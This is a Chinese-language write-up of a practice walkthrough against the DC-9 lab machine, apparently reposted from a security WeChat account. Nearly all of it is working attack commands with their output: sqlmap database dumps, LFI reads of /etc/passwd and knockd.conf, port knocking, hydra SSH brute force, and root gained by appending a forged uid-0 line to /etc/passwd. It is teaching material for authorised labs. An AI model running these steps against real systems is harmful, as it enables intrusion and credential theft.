端口敲击守护程序之DC-9

admin 2023年9月16日22:14:23评论18 views字数 8870阅读29分34秒阅读模式

本文由掌控安全学院 - 杳若 投稿

总结

getwebshell : 发现SQL注入 → 登录系统 → 疑似文件包含FUZZ参数 → 文件包含读取守护程序 → 敲击打开SSH端口 → 利用泄露账号密码登录

提 权 思 路 : 发现3个用户 → 登录获取密码字典 → 再次爆破获取第4个用户 → sudo文件发现 → 存在root权限写入功能 → passwd覆盖提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.192

  • 启动靶机
    获取目标机器IP → 192.168.178.209

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)

  1. sudo nmap --min-rate 10000 -p- 192.168.178.209
  2. PORT STATE SERVICE
  3. 22/tcp filtered ssh
  4. 80/tcp open http

端口敲击守护程序之DC-9
开放的端口->80
过滤的端口->22


  1. 当端口被列为“被过滤”时,意味着该端口被防火墙或网络设备阻止或过滤。这可能是有意的,例如用作防止未经授权访问的安全措施,也可能是由于网络配置错误或连接问题而无意的。
  2. 在这种情况下,端口22被过滤,因此可能无法使用该端口建立到目标设备的SSH连接。

目标端口对应服务探测


  1. # tcp探测
  2. sudo nmap -sT -sV -O -sC -p22,80 192.168.178.209
  3. PORT STATE SERVICE VERSION
  4. 22/tcp closed ssh
  5. 80/tcp open http Apache httpd 2.4.38 ((Debian))

端口敲击守护程序之DC-9
现在22端口是关闭的

信息收集-端口测试

80-HTTP端口的信息收集

访问 http://192.168.178.209:80 看上去像CMS
随便戳了戳发现是php

信息收集-网站指纹


  1. ┌──(rootKali)-[/home/bachang/DC-9]
  2. └─# whatweb http://192.168.178.209
  3. http://192.168.178.209 [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.178.209], Title[Example.com - Staff Details - Welcome]

漏洞利用-网站指纹(无)


  1. searchsploit Staff Details
  2. searchsploit Example.com

信息收集-HTML隐藏信息查看


  1. # 利用html2text转换纯文本方便查看
  2. curl http://192.168.178.209 | html2text

让我们点击其他菜单,可能是提示

信息收集-目录扫描

信息收集-目录扫描初步

  1. dirsearch -u http://192.168.178.209 -x 302,403,404

端口敲击守护程序之DC-9
因为扫出了目录,深层次的扫描待选,后期可能会选择.php的后缀扫描


  1. 信息收集-目录扫描(后缀)
  2. 信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问

端点访问

空白

.php可能可以fuzz

没东西

里面的按钮按了没反应,也没看到什么源码

登录端点

然后还有一个我可以点击的search

功能点的实践

之前信息收集的内容还可以深入,不过都待定

漏洞探测-nikto扫描

首先挂上一个扫描器


  1. nikto -h http://192.168.178.209

回过头来看发现没什么

登录端点浅浅实践

在登录端点来一手弱口令,以及万能密码发现都没用

端口敲击守护程序之DC-9
然后因为不知道账号是啥,尝试挂着跑admin账户的弱口令

漏洞利用-getwebshell

后台登录

搜索功能点实践-SQL注入

接下来尝试来到搜索功能点,尝试输入一个'破坏完整性
因为搜索功能点大致会并入查询语句

端口敲击守护程序之DC-9
尝试输入了一个'之后发现没什么
端口敲击守护程序之DC-9
因为sql语句的不同,体现方法也是不一样滴
先试试正常的语句

端口敲击守护程序之DC-9
但是Julie'就什么都没显示,推测要注释掉后面的内容
Julie' -- qwe 显示了内容

端口敲击守护程序之DC-9
极大可能是存在sql注入的,使用sqlmap

POST型

在传参的地方打上*


  1. # 基础探测
  2. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*"
  3. # 发现存在之后直接爆数据库
  4. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" --dbs
  5. # 爆出数据库之后爆表(首页的关键词Staff,先看这个)
  6. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff --tables
  7. # 爆字段名
  8. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff -T Users --columns
  9. # 爆字段中数据
  10. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff -T Users -C Username,Password --dump

基础探测存在

存在三个数据库,首页的关键词Staff,先看这个,选择第二个

优先看Users的表

存在账号以及密码的字段

得到了帐号以及密码的信息

admin | 856f5de590ef37314e7c3bdf6f8a66dc
可以发现密码是md5加密的格式,因为有32

之后我们看看另一个表,表名也挺诱惑人的


  1. # 爆出数据库之后爆表
  2. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D users --tables
  3. # 爆字段名
  4. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D users -T UserDetails --columns
  5. # 爆整个表
  6. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" --dump -D users -T UserDetails

只有一个表UserDetails

端口敲击守护程序之DC-9
太多了,直接一起爆吧
端口敲击守护程序之DC-9
爆了很多密码捏

hashcat爆破密码(失败)


  1. # 将密码输出到文件
  2. echo '856f5de590ef37314e7c3bdf6f8a66dc' > hash
  3. hashcat -m 0 -a 0 hash /usr/share/wordlists/rockyou.txt

发现没爆破出来,尝试在线解密

https://www.somd5.com/

挺难受的,爆破不出来,解密出来的密码transorbital1

登录后台

利用获得的账号以及密码登录之后发现多了一个功能点

LFI利用

登录之后发现一个奇怪的地方,登陆前底下是没有的


  1. File does not exist >> 文件不存在

推测该功能点的php可以尝试fuzz参数

暴力破解-参数名破解FUZZ1(失败)


  1. # -u 指定URL FUZZ 暴力破解的地方 -w 指定字典 -fs 0 不限制文件大小
  2. ffuf -u 'http://192.168.178.209/addrecord.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/wordlists/dirb/common.txt -fs 0 > fuzz.txt

没有爆破处内容捏

curl了一下也没有内容,我想起来是要带cookie才行

修改一下fuff PHPSESSID "h86ph7lej727porurqhsh072vs"
带上cookie之后curl就有值了

暴力破解-参数名破解FUZZ2


  1. # -b 带cookie
  2. ffuf -u 'http://192.168.178.209/addrecord.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/wordlists/dirb/common.txt -b "PHPSESSID=h86ph7lej727porurqhsh072vs" -fs 0 > fuzz.txt

从文件夹里面找到一个不一样的size 这样太不优雅了


  1. ┌──(rootKali)-[/home/bachang/DC-9]
  2. └─# cat fuzz.txt | grep -v 1757 | grep Size -A 2 -B 2
  3. * FUZZ: framework
  4. [Status: 200, Size: 4110, Words: 95, Lines: 108, Duration: 235ms]
  5. | URL | http://192.168.178.209/addrecord.php?file=../../../../../../etc/passwd
  6. * FUZZ: file

利用grep去掉1757并且筛选最后存在的上下各两行找到了file

得到一个file的参数,在/home下发现了非常多的目录

联想到刚才的数据库账号密码,应该都能登22端口,但是22端口是过滤状态

文件包含利用

日志访问(失败)

一般利用方式是包含log的内容写shell
尝试翻阅一下是否有log日志


  1. /var/log/auth.log # ssh登录日志
  2. /var/log/apache2/access.log # apache访问日志

查看了一下,好像都没有捏

端口敲击守护程序之DC-9
想读.ssh来着,但是ssh没开放

查看端口守护程序

因为存在过滤端口,从这个角度切入

端口敲击守护程序之DC-9
因此存在过滤端口的时候可以尝试访问一下这个文件是否存在


  1. ../../../../../etc/knockd.conf
  2. [options] UseSyslog
  3. [openSSH] sequence = 7469,8475,9842
  4. seq_timeout = 25
  5. command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
  6. tcpflags = syn
  7. [closeSSH] sequence = 9842,8475,7469
  8. seq_timeout = 25
  9. command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
  10. tcpflags = syn

端口过滤之敲击守护程序

如果我们按照要求依次访问7469,8475,9842三个端口在25秒内,那么利用端口敲击守护程序ssh端口就会打开

利用工具knock


  1. sudo apt install knockd
  2. knock 192.168.178.209 7469 8475 9842

之后访问发现ssh端口开放了

暴力破解-SSH爆破hydra

根据数据库爆出来的内容制作user.txt以及passwd.txt字典


  1. echo 'marym
  2. julied
  3. fredf
  4. barneyr
  5. tomc
  6. jerrym
  7. wilmaf
  8. bettyr
  9. chandlerb
  10. joeyt
  11. rachelg
  12. rossg
  13. monicag
  14. phoebeb
  15. scoots
  16. janitor
  17. janitor2' > user.txt

  1. echo '3kfs86sfd
  2. 468sfdfsd2
  3. 4sfd87sfd1
  4. RocksOff
  5. TC&TheBoyz
  6. B8m#48sd
  7. Pebbles
  8. BamBam01
  9. UrAG0D!
  10. Passw0rd
  11. yN72#dsd
  12. ILoveRachel
  13. 3248dsds7s
  14. smellycats
  15. YR3BVxxxw87
  16. Ilovepeepee
  17. Hawaii-Five-0' > passwd.txt

  1. # -L 指定账号字典 -P指定密码字典
  2. hydra -L user.txt -P passwd.txt 192.168.178.209 ssh -s 22 -t 64 - o main

查看了对应的main文件看到了3个可用


  1. [22][ssh] host: 192.168.178.209 login: chandlerb password: UrAG0D!
  2. [22][ssh] host: 192.168.178.209 login: joeyt password: Passw0rd
  3. [22][ssh] host: 192.168.178.209 login: janitor password: Ilovepeepee

内网遨游-getshell

3开SSH

获取账号密码之后利用SSH进行登录(3个小时到了,换了个目标机)


  1. sudo ssh chandlerb<span class="label label-primary">@192.168.208.209</span> -p22
  2. password &gt; UrAG0D!
  3. sudo ssh joeyt<span class="label label-primary">@192.168.208.209</span> -p22
  4. password &gt; Passw0rd
  5. sudo ssh janitor<span class="label label-primary">@192.168.208.209</span> -p22
  6. password &gt; Ilovepeepee

但是发现输入find都没什么用,尝试查找内部的敏感信息
janitor用户下发现了不一样的东西

发现是个文件,进入

探索之后发现了新的密码文件,再写一个文件利用hyrda爆破


  1. echo 'BamBam01
  2. Passw0rd
  3. smellycats
  4. P0Lic#10-4
  5. B4-Tru3-001
  6. 4uGU5T-NiGHts' &gt; passwd2.txt

  1. # -L 指定账号字典 -P指定密码字典
  2. hydra -L user.txt -P passwd2.txt 192.168.208.209 ssh -s 22 -t 64 -o main

通过爆破得到了新的用户密码


  1. [22][ssh] host: 192.168.178.209 login: fredf password: B4-Tru3-001

进行ssh连接


  1. sudo ssh fredf<span class="label label-primary">@192.168.208.209</span> -p22
  2. password &gt; B4-Tru3-001

FLAG1获取

输入find命令之后发现只有fredf是可以的


  1. fredf<span class="label label-primary">@dc-9</span>:~$ find / -name local.txt 2&gt;/dev/null
  2. /home/fredf/local.txt
  3. fredf<span class="label label-primary">@dc-9</span>:~$ cat /home/fredf/local.txt
  4. 4c30c90388a4b5baa8bf21db8529bb51

权限提升

Linux提权-sudo提权

查找具有sudo权限,且不需要密码的可提权文件


  1. # 利用sudo -l寻找
  2. fredf<span class="label label-primary">@dc-9</span>:~$ sudo -l
  3. Matching Defaults entries for fredf on dc-9:
  4. env_reset, mail_badpass,
  5. secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
  6. User fredf may run the following commands on dc-9:
  7. (root) NOPASSWD: /opt/devstuff/dist/test/test

只有fredf用户是存在sudo

追踪一下这个文件


  1. # 权限查看 (读与执行)
  2. fredf<span class="label label-primary">@dc-9</span>:~$ ls -al /opt/devstuff/dist/test/test
  3. -rwxr-xr-x 1 root root 1212968 Dec 29 2019 /opt/devstuff/dist/test/test
  4. # 查看内容发现看不了
  5. fredf<span class="label label-primary">@dc-9</span>:~$ cat /opt/devstuff/dist/test/test

端口敲击守护程序之DC-9
尝试运行


  1. fredf<span class="label label-primary">@dc-9</span>:$ cd /opt/devstuff/dist/test
  2. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ ./test
  3. Usage: python test.py read append
  4. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ sudo /opt/devstuff/dist/test/test
  5. Usage: python test.py read append

读不了,显示是读test.py ,说明使用test应该是需要参数的


  1. # 全局搜索
  2. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ find / -name "test.py" 2&gt;/dev/null
  3. /opt/devstuff/test.py
  4. /usr/lib/python3/dist-packages/setuptools/command/test.py

发现了两个,应该是上面那个


  1. cat /opt/devstuff/test.py

如果传递的参数不等于3,就会输出Usage: python test.py read append

不然会读取输入第一个参数内的文件追加写入到第二个参数


  1. #!/usr/bin/python
  2. import sys
  3. if len (sys.argv) != 3 :
  4. print ("Usage: python test.py read append")
  5. sys.exit (1)
  6. else :
  7. f = open(sys.argv[1], "r")
  8. output = (f.read())
  9. f = open(sys.argv[2], "a")
  10. f.write(output)
  11. f.close()

/etc/passwd覆盖提权

既然是这样的话,那我可以自己写一个root权限的用户进行追加覆盖

覆盖掉root的密码


  1. # Kali机器使用openssl生成密码 -l指定生成密码
  2. ┌──(rootKali)-[/home/bachang/DC-9]
  3. └─# sudo openssl passwd
  4. Password: YaoRuo
  5. Verifying - Password: YaoRuo
  6. $1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.

目标机器上覆盖


  1. # 制作root权限用户 root:x:0:0:root:/root:/bin/bash
  2. YaoRuo:$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.:0:0:root:/root:/bin/bash
  3. # 写入到可写文件夹中
  4. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ echo 'YaoRuo:$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.:0:0:root:/root:/bin/bash' &gt; /tmp/passwd.txt
  5. # 进行覆盖
  6. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ sudo /opt/devstuff/dist/test/test /tmp/passwd.txt /etc/passwd
  7. # 权限提升
  8. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ su YaoRuo
  9. Password: RaoYuo
  10. root<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test# id
  11. uid=0(root) gid=0(root) groups=0(root)

提权成功

FLAG2获取


  1. root<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test# cat /root/proof.txt
  2. e67eaee361edc9e35fc8cfe0b1ea7bd7

完结撒花~

总结

filtered过滤端口也是值得探索的内容
可能存在端口敲击守护程序/etc/knockd.conf

传参进行fuzz的时候还是要多试,顺便一提的是登录要记得带上cookie

端口敲击守护程序

这个内容本质上就是防止被端口扫描。从资料上看在电网这种工业级上考虑的较多。


  1. 端口扫描也是威胁 Web 安全的一种方式,服务器主机关闭不必要的端口对这一攻击有一定的作用,但是对于必须开启的端口还是存在着安全隐患,为了预防这一类网络攻击,系统采用一种“服务敲门”的方式来开启或关闭端口。
  2. “服务敲门”也就是端口试探,它的原理类似一次约定好的秘密握手,一定时间间隔发送一定序列的UDP TCP 数据包,运行在主机上的抓包程序捕捉到之后,开启对应端口或关闭对应端口。以 22 端口为

除了使用直接利用本地安装的knockd工具之外也可以用其他方法进行端口敲击,就是有时间限制。

例如 nmap -p[端口] [ip] nc [ip] [端口]

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月16日22:14:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   端口敲击守护程序之DC-9https://cn-sec.com/archives/2042303.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息